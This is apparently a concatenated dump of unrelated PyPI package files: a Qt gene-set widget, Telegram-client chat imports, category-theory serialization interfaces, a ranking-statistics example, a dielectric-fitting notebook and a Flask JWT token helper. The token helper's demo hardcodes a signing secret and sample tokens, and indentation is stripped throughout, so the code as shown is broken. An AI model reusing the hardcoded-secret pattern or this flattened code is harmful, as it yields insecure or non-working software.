def GetDefineFilename(self,defLineNum):
while defLineNum >0:
lineText = self.text.GetLineText(defLineNum)
if lineText.find(FILENAME_MARKER) != -1 and lineText.find(FindIndirService.LINE_PREFIX) == -1:
filename = lineText.replace(FILENAME_MARKER,"").strip()
return filename
defLineNum -=1
return None
def ScrolltoEnd(self):
self.text.ScrolltoEnd()
class FindResultsviewLoader(plugin.Plugin):
plugin.Implements(iface.CommonPluginI)
def Load(self):
GetApp().MainFrame.AddView(consts.SEARCH_RESULTS_VIEW_NAME,FindResultsview, _("Search Results"), "s",\
image_file="search.ico",default_position_key=2) | PypiClean |
/BlueWhale3_Bioinformatics-4.1.32-py3-none-any.whl/orangecontrib/bioinformatics/widgets/utils/gui/gene_sets.py | from typing import Union
from collections import defaultdict
import numpy as np
from AnyQt.QtCore import Qt
from AnyQt.QtWidgets import QWidget, QGroupBox, QTreeView, QTreeWidget, QTreeWidgetItem, QTreeWidgetItemIterator
from orangecontrib.bioinformatics.geneset import GeneSet, GeneSets, list_all, load_gene_sets
# TODO: better handle stored selection
# TODO: Don't use hardcoded 'Custom sets', use table name if available
class GeneSetsSelection(QWidget):
def __init__(self, box, parent, settings_var, **kwargs):
# type: (Union[QGroupBox, QWidget], QWidget, str) -> None
super().__init__(**kwargs)
self.parent = parent
self.stored_selection = settings_var
# gene sets object
self.gs_object = GeneSets() # type: GeneSets
self.hierarchy_tree_widget = QTreeWidget(self)
self.hierarchy_tree_widget.setHeaderHidden(True)
self.hierarchy_tree_widget.setEditTriggers(QTreeView.NoEditTriggers)
box.layout().addWidget(self.hierarchy_tree_widget)
self.custom_set_hier = None
self.default_selection = [
('GO', 'molecular_function'),
('GO', 'biological_process'),
('GO', 'cellular_component'),
]
def clear_custom_sets(self):
# delete any custom sets if they exists
self.gs_object.delete_sets_by_hierarchy(self.custom_set_hier)
def add_custom_sets(self, gene_sets_names, gene_names, hierarchy_title=None, select_customs_flag=False):
# type: (np.ndarray, np.ndarray) -> None
self.custom_set_hier = hierarchy_title
self.clear_custom_sets()
temp_dict = defaultdict(list)
for set_name, gene_name in zip(gene_sets_names, gene_names):
temp_dict[set_name].append(gene_name)
g_sets = []
for key, value in temp_dict.items():
g_sets.append(
GeneSet(
gs_id=key,
hierarchy=self.custom_set_hier,
organism=self.gs_object.common_org(),
name=key,
genes=set(value),
)
)
self.gs_object.update(g_sets)
self.update_gs_hierarchy(select_customs_flag=select_customs_flag)
def load_gene_sets(self, tax_id):
# type: (str) -> None
self.gs_object = GeneSets()
self.clear()
gene_sets = list_all(organism=tax_id)
self.set_hierarchy_model(self.hierarchy_tree_widget, self.hierarchy_tree(gene_sets))
for gene_set in gene_sets:
g_sets = load_gene_sets(gene_set, tax_id)
self.gs_object.update([g_set for g_set in g_sets])
self.set_selected_hierarchies()
def clear_gene_sets(self):
self.gs_object = GeneSets()
def clear(self):
# reset hierarchy widget state
self.hierarchy_tree_widget.clear()
def update_gs_hierarchy(self, select_customs_flag=False):
self.clear()
self.set_hierarchy_model(self.hierarchy_tree_widget, self.hierarchy_tree(self.gs_object.hierarchies()))
if select_customs_flag:
self.set_custom_sets()
else:
self.set_selected_hierarchies()
def set_hierarchy_model(self, tree_widget, sets):
def beautify_displayed_text(text):
if '_' in text:
return text.replace('_', ' ').title()
else:
return text
# TODO: maybe optimize this code?
for key, value in sets.items():
item = QTreeWidgetItem(tree_widget, [beautify_displayed_text(key)])
item.setFlags(item.flags() & (Qt.ItemIsUserCheckable | Qt.ItemIsSelectable | Qt.ItemIsEnabled))
item.setExpanded(True)
item.hierarchy = key
if value:
item.setFlags(item.flags() | Qt.ItemIsTristate)
self.set_hierarchy_model(item, value)
else:
if item.parent():
item.hierarchy = (item.parent().hierarchy, key)
if not item.childCount() and not item.parent():
item.hierarchy = (key,)
def get_hierarchies(self, **kwargs):
""" return selected hierarchy
"""
only_selected = kwargs.get('only_selected', None)
sets_to_display = []
if only_selected:
iterator = QTreeWidgetItemIterator(self.hierarchy_tree_widget, QTreeWidgetItemIterator.Checked)
else:
iterator = QTreeWidgetItemIterator(self.hierarchy_tree_widget)
while iterator.value():
# note: if hierarchy value is not a tuple, then this is just top level qTreeWidgetItem that
# holds subcategories. We don't want to display all sets from category
if type(iterator.value().hierarchy) is not str:
if not only_selected:
sets_to_display.append(iterator.value().hierarchy)
else:
if not iterator.value().isDisabled():
sets_to_display.append(iterator.value().hierarchy)
iterator += 1
return sets_to_display
def set_selected_hierarchies(self):
iterator = QTreeWidgetItemIterator(self.hierarchy_tree_widget, QTreeWidgetItemIterator.All)
defaults = []
while iterator.value():
# note: if hierarchy value is not a tuple, then this is just top level qTreeWidgetItem that
# holds subcategories. We don't want to display all sets from category
if type(iterator.value().hierarchy) is not str:
if iterator.value().hierarchy in self.parent.__getattribute__(self.stored_selection):
iterator.value().setCheckState(0, Qt.Checked)
else:
iterator.value().setCheckState(0, Qt.Unchecked)
# if no items are checked, set defaults
if iterator.value().hierarchy in self.default_selection:
defaults.append(iterator.value())
iterator += 1
if len(self.get_hierarchies(only_selected=True)) == 0:
[item.setCheckState(0, Qt.Checked) for item in defaults]
def set_custom_sets(self):
iterator = QTreeWidgetItemIterator(self.hierarchy_tree_widget, QTreeWidgetItemIterator.All)
while iterator.value():
# note: if hierarchy value is not a tuple, then this is just top level qTreeWidgetItem that
# holds subcategories. We don't want to display all sets from category
if type(iterator.value().hierarchy) is not str:
if iterator.value().hierarchy == self.custom_set_hier:
iterator.value().setCheckState(0, Qt.Checked)
else:
iterator.value().setCheckState(0, Qt.Unchecked)
iterator += 1
@staticmethod
def hierarchy_tree(gene_sets):
def tree():
return defaultdict(tree)
collection = tree()
def collect(col, set_hierarchy):
if set_hierarchy:
collect(col[set_hierarchy[0]], set_hierarchy[1:])
for hierarchy in gene_sets:
collect(collection, hierarchy)
return collection | PypiClean |
/Newgram-0.0.5.tar.gz/Newgram-0.0.5/newgram/methods/chats/__init__.py |
from .add_chat_members import AddChatMembers
from .archive_chats import ArchiveChats
from .ban_chat_member import BanChatMember
from .create_channel import CreateChannel
from .create_group import CreateGroup
from .create_supergroup import CreateSupergroup
from .create_group_call import CreateGroupCall
from .discard_group_call import DiscardGroupCall
from .join_group_call import JoinGroupCall
from .leave_group_call import LeaveGroupCall
from .get_group_call import GetGroupCall
from .edit_group_call_participant import EditGroupCallParticipant
from .delete_channel import DeleteChannel
from .delete_chat_photo import DeleteChatPhoto
from .delete_supergroup import DeleteSupergroup
from .delete_user_history import DeleteUserHistory
from .get_chat import GetChat
from .get_chat_event_log import GetChatEventLog
from .get_chat_member import GetChatMember
from .get_chat_members import GetChatMembers
from .get_chat_members_count import GetChatMembersCount
from .get_chat_online_count import GetChatOnlineCount
from .get_dialogs import GetDialogs
from .get_dialogs_count import GetDialogsCount
from .get_nearby_chats import GetNearbyChats
from .get_send_as_chats import GetSendAsChats
from .join_chat import JoinChat
from .leave_chat import LeaveChat
from .mark_chat_unread import MarkChatUnread
from .pin_chat_message import PinChatMessage
from .promote_chat_member import PromoteChatMember
from .restrict_chat_member import RestrictChatMember
from .set_administrator_title import SetAdministratorTitle
from .set_chat_description import SetChatDescription
from .set_chat_permissions import SetChatPermissions
from .set_chat_photo import SetChatPhoto
from .set_chat_protected_content import SetChatProtectedContent
from .set_chat_title import SetChatTitle
from .set_chat_username import SetChatUsername
from .set_send_as_chat import SetSendAsChat
from .set_slow_mode import SetSlowMode
from .unarchive_chats import UnarchiveChats
from .unban_chat_member import UnbanChatMember
from .unpin_all_chat_messages import UnpinAllChatMessages
from .unpin_chat_message import UnpinChatMessage
class Chats(
GetChat,
LeaveChat,
JoinChat,
BanChatMember,
UnbanChatMember,
RestrictChatMember,
PromoteChatMember,
GetChatMembers,
GetChatMember,
SetChatPhoto,
DeleteChatPhoto,
SetChatTitle,
SetChatDescription,
PinChatMessage,
UnpinChatMessage,
GetDialogs,
GetChatMembersCount,
SetChatUsername,
SetChatPermissions,
GetDialogsCount,
ArchiveChats,
UnarchiveChats,
CreateGroup,
CreateSupergroup,
CreateChannel,
AddChatMembers,
DeleteChannel,
DeleteSupergroup,
GetNearbyChats,
SetAdministratorTitle,
SetSlowMode,
DeleteUserHistory,
UnpinAllChatMessages,
MarkChatUnread,
GetChatEventLog,
GetChatOnlineCount,
GetSendAsChats,
SetSendAsChat,
CreateGroupCall,
DiscardGroupCall,
JoinGroupCall,
LeaveGroupCall,
EditGroupCallParticipant,
GetGroupCall,
SetChatProtectedContent
):
pass | PypiClean |
/ACT4E-exercises-2021.1.2103061245.tar.gz/ACT4E-exercises-2021.1.2103061245/src/act4e_interfaces/representations.py | from __future__ import annotations
from abc import ABC, abstractmethod
from typing import List, TypedDict, Union
from .finite import (FiniteAdjunction, FiniteDP, FiniteFunctor, FiniteGroup, FiniteMap, FiniteMonoid,
FiniteNaturalTransformation, FinitePoset, FiniteProfunctor, FiniteRelation,
FiniteSemigroup, FiniteSet)
__all__ = [
"FiniteSet_desc",
"FiniteMap_desc",
"FiniteSetUnion_desc",
"FiniteSetProduct_desc",
"FiniteSetDisjointUnion_desc",
"DirectElements_desc",
"FiniteProfunctor_desc",
"IOHelper",
"FiniteRelation_desc",
"FiniteFunctor_desc",
"FiniteSemigroup_desc",
"FiniteGroup_desc",
"FiniteMonoid_desc",
"FiniteSetRepresentation",
"FiniteMapRepresentation",
"FiniteAdjunction_desc",
"FiniteGroupRepresentation",
"FiniteAdjunctionRepresentation",
"FinitePosetRepresentation",
"FiniteNaturalTransformationRepresentation",
"FiniteFunctorRepresentation",
"FiniteRelationRepresentation",
"FiniteProfunctorRepresentation",
"FiniteMonoidRepresentation",
"FiniteSemigroupRepresentation",
"FiniteDPRepresentation",
]
from .helper import IOHelper
from .types import ConcreteRepr
class DirectElements_desc(TypedDict):
elements: List[ConcreteRepr]
class FiniteSetProduct_desc(TypedDict):
product: List[FiniteSet_desc]
class FiniteSetDisjointUnion_desc(TypedDict):
disunion: List[FiniteSet_desc]
class FiniteSetUnion_desc(TypedDict):
union: List[FiniteSet_desc]
FiniteSet_desc = Union[
DirectElements_desc,
FiniteSetProduct_desc,
FiniteSetUnion_desc,
FiniteSetDisjointUnion_desc,
]
class FiniteMap_desc(TypedDict):
source: FiniteSet_desc
target: FiniteSet_desc
values: List[List[ConcreteRepr]]
class FiniteMapRepresentation(ABC):
@abstractmethod
def load(self, h: IOHelper, s: FiniteMap_desc) -> FiniteMap:
...
@abstractmethod
def save(self, h: IOHelper, m: FiniteMap) -> FiniteMap_desc:
...
class FiniteSetRepresentation(ABC):
# @overload
# def load(self, h: IOHelper, data: FiniteSetDisjointUnion_desc) \
# -> FiniteSetDisjointUnion:
# ...
#
# @overload
# def load(self, h: IOHelper, data: FiniteSetUnion_desc) -> FiniteSet:
# ...
#
# @overload
# def load(self, h: IOHelper, data: FiniteSetProduct_desc) -> FiniteSetProduct:
# ...
@abstractmethod
def load(self, h: IOHelper, data: FiniteSet_desc) -> FiniteSet:
""" Load a finite set from data structure.
Throw InvalidFormat if the format is incorrect.
"""
@abstractmethod
def save(self, h: IOHelper, f: FiniteSet) -> FiniteSet_desc:
""" Serializes into a data structure """
class FiniteSemigroup_desc(TypedDict):
carrier: FiniteSet_desc
compose: FiniteMap_desc
class FiniteSemigroupRepresentation(ABC):
@abstractmethod
def load(self, h: IOHelper, s: FiniteSemigroup_desc) -> FiniteSemigroup:
""" Load the data """
@abstractmethod
def save(self, h: IOHelper, m: FiniteSemigroup) -> FiniteSemigroup_desc:
""" Save the data """
class FiniteNaturalTransformation_desc(TypedDict):
pass
class FiniteMonoid_desc(FiniteSemigroup_desc):
# carrier: FiniteSet_desc
# compose: FiniteMap_desc
neutral: object
class FiniteMonoidRepresentation(ABC):
@abstractmethod
def load(self, h: IOHelper, s: FiniteMonoid_desc) -> FiniteMonoid:
""" Load the data """
@abstractmethod
def save(self, h: IOHelper, m: FiniteMonoid) -> FiniteMonoid_desc:
""" Save the data """
class FiniteGroup_desc(FiniteMonoid_desc):
# carrier: FiniteSet_desc
# compose: FiniteMap_desc
# neutral: object
inv: FiniteMap_desc
class FinitePoset_desc(TypedDict):
pass
class FiniteGroupRepresentation(ABC):
@abstractmethod
def load(self, h: IOHelper, s: FiniteGroup_desc) -> FiniteGroup:
""" Load the data """
@abstractmethod
def save(self, h: IOHelper, m: FiniteGroup) -> FiniteGroup_desc:
""" Save the data """
class FinitePosetRepresentation(ABC):
@abstractmethod
def load(self, h: IOHelper, s: FinitePoset_desc) -> FinitePoset:
""" Load the data """
@abstractmethod
def save(self, h: IOHelper, m: FinitePoset) -> FinitePoset_desc:
""" Save the data """
class FiniteRelation_desc(TypedDict):
source: FiniteSet_desc
target: FiniteSet_desc
values: List[List[object]]
class FiniteRelationRepresentation(ABC):
@abstractmethod
def load(self, h: IOHelper, data: FiniteRelation_desc) -> FiniteRelation:
""" Load a finite set from given YAML data"""
@abstractmethod
def save(self, h: IOHelper, f: FiniteRelation) -> FiniteRelation_desc:
""" Load a finite set from given YAML data"""
class FiniteCategory_desc(TypedDict):
...
class FiniteFunctor_desc(TypedDict):
source: FiniteCategory_desc
target: FiniteCategory_desc
f_ob: FiniteMap
f_mor: FiniteMap
class FiniteFunctorRepresentation(ABC):
@abstractmethod
def load(self, h: IOHelper, data: FiniteFunctor_desc) -> FiniteFunctor:
...
@abstractmethod
def save(self, h: IOHelper, f: FiniteFunctor) -> FiniteFunctor_desc:
...
class FiniteNaturalTransformationRepresentation(ABC):
@abstractmethod
def load(self, h: IOHelper, data: FiniteNaturalTransformation_desc) -> FiniteNaturalTransformation:
...
@abstractmethod
def save(self, h: IOHelper, f: FiniteNaturalTransformation) -> FiniteNaturalTransformation_desc:
...
class FiniteAdjunction_desc(TypedDict):
...
class FiniteAdjunctionRepresentation(ABC):
@abstractmethod
def load(self, h: IOHelper, data: FiniteAdjunction_desc) -> FiniteAdjunction:
...
@abstractmethod
def save(self, h: IOHelper, f: FiniteAdjunction) -> FiniteAdjunction_desc:
...
class FiniteProfunctor_desc(TypedDict):
...
class FiniteProfunctorRepresentation(ABC):
@abstractmethod
def load(self, h: IOHelper, data: FiniteProfunctor_desc) -> FiniteProfunctor:
...
@abstractmethod
def save(self, h: IOHelper, f: FiniteProfunctor) -> FiniteProfunctor_desc:
...
class FiniteDP_desc(TypedDict):
pass
class FiniteDPRepresentation(ABC):
@abstractmethod
def load(self, yaml_data: FiniteDP_desc) -> FiniteDP:
...
@abstractmethod
def save(self, f: FiniteDP) -> FiniteDP_desc:
... | PypiClean |
/InversionTest-1.2.zip/InversionTest-1.2/Examples/UseCase1_SimulationValidation.py | def readSimulationResults(fileName, rowSep='\n', colSep=',', gradeSep=';'):
"""
Read the simulation results from a CSV-formatted file.
A file with the data:
"Element1,Element2,Element3;Element4,Element5\nElement1,Element5"
Corresponds to the graded sequences:
[[["Element1"], ["Element2"], ["Element3", "Element4"], ["Element5"]],
[["Element1"], ["Element5"]]]
@param fileName: Name of the input file to read the simulation results
@type fileName: str
@param rowSep: Separator for rows. For CSV, should be '\n' or '\r'
@type rowSep: str
@param colSep: Separator for columns. For CSV, should be ','
@type colSep: str
@param gradeSep: Separator for grades within a cell.
@type gradeSep: str
@return: List of graded permutations, in the form [permutation1, permutation2, ...]
@rtype: list of list of list of str
"""
with open(fileName, 'r') as inFile:
data = inFile.read()
results = [[[x for x in grade.split(gradeSep)] for grade in result.split(colSep)]
for result in data.split(rowSep)]
return results
if __name__ == '__main__':
from InversionTest import (inversionWilcoxonTest, inversionSignTest,
inversionPermutationMeanTest,
inversionPermutationRankTest,
inversionSimilarity, inversionCountCDF,
medianSequence)
def average(vals):
""" Average the given values """
return float(sum(vals))/len(vals)
# Actual Ordering to Compare Against
GROUND_TRUTH_ORDER = ['BX', 'DY', 'AU', 'BW', 'AW',
'AV', 'AX', 'CX', 'BY', 'BV',
'AY', 'BZ', 'AZ', 'CW', 'CY',
'DZ', 'CZ', 'DX', 'BU', 'CV',
'CU', 'EX', 'EY', 'DV',
['DU', 'DW', 'EU', 'EV', 'EW', 'EZ']]
# Constants
localSimFileName = 'LocalizedSimResults.csv'
mediaSimFileName = 'MediaSimResults.csv'
# Load Data: A list of graded sequences
localResults = readSimulationResults(localSimFileName)
mediaResults = readSimulationResults(mediaSimFileName)
# Perform Analyses
localWilcoxonPValue = inversionWilcoxonTest(localResults, seq=GROUND_TRUTH_ORDER, isGraded=True)
localAvgCDFComplement = average([1-inversionCountCDF(GROUND_TRUTH_ORDER, result, isGraded=True)
for result in localResults])
localAvgSimilarity = average([inversionSimilarity(GROUND_TRUTH_ORDER, result, isGraded=True)
for result in localResults])
localMedianSeq = medianSequence(localResults, isGraded=True)
localMedianSimilarity = inversionSimilarity(GROUND_TRUTH_ORDER, localMedianSeq, isGraded=True)
mediaWilcoxonPValue = inversionWilcoxonTest(mediaResults, seq=GROUND_TRUTH_ORDER, isGraded=True)
mediaAvgCDFComplement = average([1-inversionCountCDF(GROUND_TRUTH_ORDER, result, isGraded=True)
for result in mediaResults])
mediaAvgSimilarity = average([inversionSimilarity(GROUND_TRUTH_ORDER, result, isGraded=True)
for result in mediaResults])
mediaMedianSeq = medianSequence(mediaResults, isGraded=True)
mediaMedianSimilarity = inversionSimilarity(GROUND_TRUTH_ORDER, mediaMedianSeq, isGraded=True)
twoSampleWilcoxonPValue = inversionWilcoxonTest(localResults, mediaResults,
seq=GROUND_TRUTH_ORDER, isGraded=True)
twoSampleSignPValue = inversionSignTest(localResults, mediaResults,
seq=GROUND_TRUTH_ORDER, isGraded=True)
twoSamplePMeanPValue = inversionPermutationMeanTest(localResults, mediaResults,
seq=GROUND_TRUTH_ORDER, isGraded=True)
twoSampleRMeanPValue = inversionPermutationRankTest(localResults, mediaResults,
seq=GROUND_TRUTH_ORDER, isGraded=True)
# Print Results
print "Localized Simulation Analysis"
print "*"*30
print " Wilcoxon P-Value: %.2e"%localWilcoxonPValue
print " Average 1-CDF: %.2f"%localAvgCDFComplement
print " Average Similarity: %.2f"%localAvgSimilarity
print " Median Similarity: %.2f"%localMedianSimilarity
print
print "Media Simulation Analysis"
print "*"*30
print " Wilcoxon P-Value: %.2e"%mediaWilcoxonPValue
print " Average 1-CDF: %.2f"%mediaAvgCDFComplement
print " Average Similarity: %.2f"%mediaAvgSimilarity
print " Median Similarity: %.2f"%mediaMedianSimilarity
print
print "Two Population Tests (Alternate Hypothesis: Local > Media)"
print "*"*30
print " Wilcoxon P-Value: %.2e"%twoSampleWilcoxonPValue
print " Sign Test P-Value: %.2e"%twoSampleSignPValue
print " Permutation Means P-Value: %.2e"%twoSamplePMeanPValue
print " Permutation Ranks P-Value: %.2e"%twoSampleRMeanPValue | PypiClean |
/HavNegpy-1.2.tar.gz/HavNegpy-1.2/docs/_build/html/_build/html/_build/html/_build/html/hn_module_tutorial.ipynb | # Tutorial for the HN module of HavNegpy package
```
import numpy as np
import pandas as pd
import matplotlib.pyplot as plt
import os
import HavNegpy as dd
%matplotlib qt
os.chdir(r'M:\Marshall_Data\mohamed_data\mohamed_data\n44')
def create_dataframe(f):
col_names = ['Freq', 'T', 'Eps1', 'Eps2']
#f = input(str("Enter the filename:"))
df = pd.read_csv(f, sep=r"\s+",index_col=False,usecols = [0,1,2,3],names=col_names,header=None,skiprows=4,encoding='unicode_escape',engine='python')
col1 = ['log f']
for start in range(0, len(df), 63):
name = df['T'][start]
#print(name)
col1.append(name)
df2 = pd.DataFrame()
f1 = df['Freq'][0:63].values
x1 = np.log10((f1))
e = pd.DataFrame(x1)
df2['log f'] = pd.concat([e],axis=1,ignore_index=True)
global Cooling,Heating
for start in range(0, len(df), 63):
f = df['Eps2'][start:start+63].values
ep = np.log10(f)
d = pd.DataFrame(ep)
df2[start] = pd.concat([d],axis=1,ignore_index=True)
df2.columns = col1
'''
a = int(len(col1)/3)
b = 2*a
c = int(len(col1)) - b
Heating1 = df2.iloc[8:,0:a+1]
Cooling = df2.iloc[8:,a+1:b+1]
Heating2 = df2.iloc[8:,b+1:]
heat1_col = col1[0:a+1]
cool_col = col1[a+1:b+1]
heat2_col = col1[b+1:]
Cooling.columns = cool_col
Heating1.columns = heat1_col
Heating2.columns = heat2_col
f2 = df['Freq'][8:59].values
x2 = np.log10((f2))
Cooling['Freq'] = x2
Heating1['Freq'] = x2
Heating2['Freq'] = x2
'''
Cooling = df2.iloc[:,0:25]
Heating = df2.iloc[:,25:]
return df,df2,Cooling,Heating #Heating2
df,df2,cool,heat = create_dataframe('EPS.TXT')
x,y = df2['log f'][9:], heat[40][9:]
plt.figure()
plt.scatter(x,y,label='data for fitting')
plt.xlabel('log f [Hz]')
plt.ylabel('log $\epsilon$"')
plt.legend()
plt.title('Example for HN fitting')
```
image of the plot we are using in this tutorial

```
''' instantiate the HN module from HavgNegpy'''
hn = dd.HN()
''' select range to perform hn fitting'''
''' the select range functions pops in a separate window and allows you two clicks to select the region of interest (ROI)'''
''' In this tutorial, I'll plot the ROI and append as an image in the next cell'''
x1,y1 = hn.select_range(x,y)
''' view the data from select range'''
plt.scatter(x1,y1,label = 'Data for fitting')
plt.xlabel('log f [Hz]')
plt.ylabel('log $\epsilon$"')
plt.legend()
plt.title('ROI selected from HN module')
```
image of the ROI from HN module
```
''' dump the initial guess parameters using dump parameters method (varies for each fn), which dumps the parameters in a json file'''
''' this is required before performing the first fitting as it takes the initial guess from the json file created'''
hn.dump_parameters_hn()
''' view the initial guess for the ROI using initial_view method'''
''' I'll append the image in the next cell'''
hn.initial_view_hn(x1,y1)
```
image of the initial guess
```
''' pefrorm least squares fitting'''
''' The image of the curve fit is added in the next cell '''
hn.fit(x1,y1)
```
Example of the fit performed using single HN function
the procedure is similar for double HN and HN with conductivity

```
'''create a file to save fit results using create_analysis file method'''
''' before saving fit results an analysis file has to be created '''
hn.create_analysis_file()
''' save the fit results using save_fit method of the corresponding fit function'''
''' takes one argument, read more on the documentation'''
hn.save_fit_hn(1)
```
| PypiClean |
/Flask-Auth-User-1.0.2.tar.gz/Flask-Auth-User-1.0.2/flask_auth_user/helper/token/TokenHelper.py | import json
import time
from flask_auth_user.utils.token.Token import Token, AccessData, AccessClaims, RefreshData, RefreshClaims, TokenStatus
class TokenHelper(object):
@staticmethod
def generate(union_id: str, token_secret: str, access_timeout: int, refresh_timeout: int) -> Token:
curr_time = int(time.time())
access_issued_at = curr_time
access_expires_at = curr_time + access_timeout
access_data = AccessData(union_id=union_id, issued_at=access_issued_at, expires_at=access_expires_at)
access_claims = AccessClaims(access_data=access_data)
access_token = Token.generate_access_token(access_claims, token_secret)
refresh_issued_at = curr_time
refresh_expires_at = curr_time + refresh_timeout
refresh_data = RefreshData(access_token=access_token, issued_at=refresh_issued_at,
expires_at=refresh_expires_at)
refresh_claims = RefreshClaims(refresh_data=refresh_data)
refresh_token = Token.generate_refresh_token(refresh_claims, token_secret)
token = Token(access_token=access_token, refresh_token=refresh_token)
return token
@staticmethod
def parse_access_token(access_token: str, secret_key: str) -> AccessClaims:
access_claims = Token.parse_access_token(access_token, secret_key)
return access_claims
@staticmethod
def parse_refresh_token(refresh_token: str, secret_key: str) -> RefreshClaims:
refresh_claims = Token.parse_refresh_token(refresh_token, secret_key)
return refresh_claims
@staticmethod
def get_access_status(access_claims: AccessClaims, access_timeout: int, refresh_timeout: int) -> TokenStatus:
curr_time = int(time.time())
interval = refresh_timeout - access_timeout
access_data = access_claims.access_data
access_expires_at = access_data.expires_at
refresh_expires_at = access_expires_at + interval
token_status = TokenStatus.INVALID
if access_expires_at >= curr_time:
token_status = TokenStatus.VALID
elif refresh_expires_at >= curr_time:
token_status = TokenStatus.EXPIRED
else:
token_status = TokenStatus.INVALID
return token_status
@staticmethod
def get_refresh_status(refresh_claims: RefreshClaims) -> TokenStatus:
curr_time = int(time.time())
refresh_data = refresh_claims.refresh_data
refresh_expires_at = refresh_data.expires_at
token_status = TokenStatus.INVALID
if refresh_expires_at >= curr_time:
token_status = TokenStatus.VALID
return token_status
def test_generate_token(union_id: str, token_secret: str, access_timeout: int, refresh_timeout: int):
token = TokenHelper.generate(union_id, token_secret, access_timeout, refresh_timeout)
token_dict = token.to_dict()
token_json = json.dumps(token_dict, ensure_ascii=False)
print(token_json)
def test_parse_access_token(access_token: str, token_secret: str, access_timeout: int, refresh_timeout: int):
access_claims = TokenHelper.parse_access_token(access_token, token_secret)
access_data = access_claims.access_data
union_id = access_data.union_id
print(union_id)
token = TokenHelper.generate(union_id, token_secret, access_timeout, refresh_timeout)
token_dict = token.to_dict()
token_json = json.dumps(token_dict, ensure_ascii=False)
print(token_json)
def test_parse_refresh_token(refresh_token: str, token_secret: str, access_timeout: int, refresh_timeout: int):
refresh_claims = TokenHelper.parse_refresh_token(refresh_token, token_secret)
refresh_data = refresh_claims.refresh_data
access_token = refresh_data.access_token
access_claims = TokenHelper.parse_access_token(access_token, token_secret)
access_data = access_claims.access_data
union_id = access_data.union_id
token = TokenHelper.generate(union_id, token_secret, access_timeout, refresh_timeout)
token_dict = token.to_dict()
token_json = json.dumps(token_dict, ensure_ascii=False)
print(token_json)
def main():
union_id = 'o9h-Mjj4pzCq_7gFECYL0DPTsYtM'
token_secret = '243223ffslsfsldfl412fdsfsdf'
access_timeout = 60 * 60 * 24
refresh_timeout = 60 * 60 * 24 * 7
test_generate_token(union_id, token_secret, access_timeout, refresh_timeout)
access_token = 'eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJkYXRhIjp7InVuaW9uX2lkIjoibzloLU1qajRwekNxXzdnRkVDWUwwRFBUc1l0TSIsImlzc3VlZF9hdCI6MTYyMzcyNzUyMiwiZXhwaXJlc19hdCI6MTYyMzgxMzkyMn19.NLRd02WbtQqVX11_FvFlNT5GKP5BbmQWFfKFy51XpWM'
test_parse_access_token(access_token, token_secret, access_timeout, refresh_timeout)
refresh_token = '''eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJkYXRhIjp7ImFjY2Vzc190b2tlbiI6ImV5SjBlWEFpT2lKS1YxUWlMQ0poYkdjaU9pSklVekkxTmlKOS5leUprWVhSaElqcDdJblZ1YVc5dVgybGtJam9pTVRJek5EVTJOemc1SWl3aWFYTnpkV1ZrWDJGMElqb3hOakl3TmpFNE1ERTFMQ0psZUhCcGNtVnpYMkYwSWpveE5qSXdOakU0TURFMmZYMC5xdldueFl1Ym45eUVJbzhISlF2T3ZzNE9ETFJfRHJ4OFBRWl8wZjR3NThJIiwiaXNzdWVkX2F0IjoxNjIwNjE4MDE1LCJleHBpcmVzX2F0IjoxNjIwNjE4MDE3fX0.N9G88z6I7FVgSAdRzNI0gkr0kDPlGlxAlmC-AIttBfY'''
test_parse_refresh_token(refresh_token, token_secret, access_timeout, refresh_timeout)
if __name__ == '__main__':
main() | PypiClean |
Subsets and Splits
No saved queries yet
Save your SQL queries to embed, download, and access them later. Queries will appear here once saved.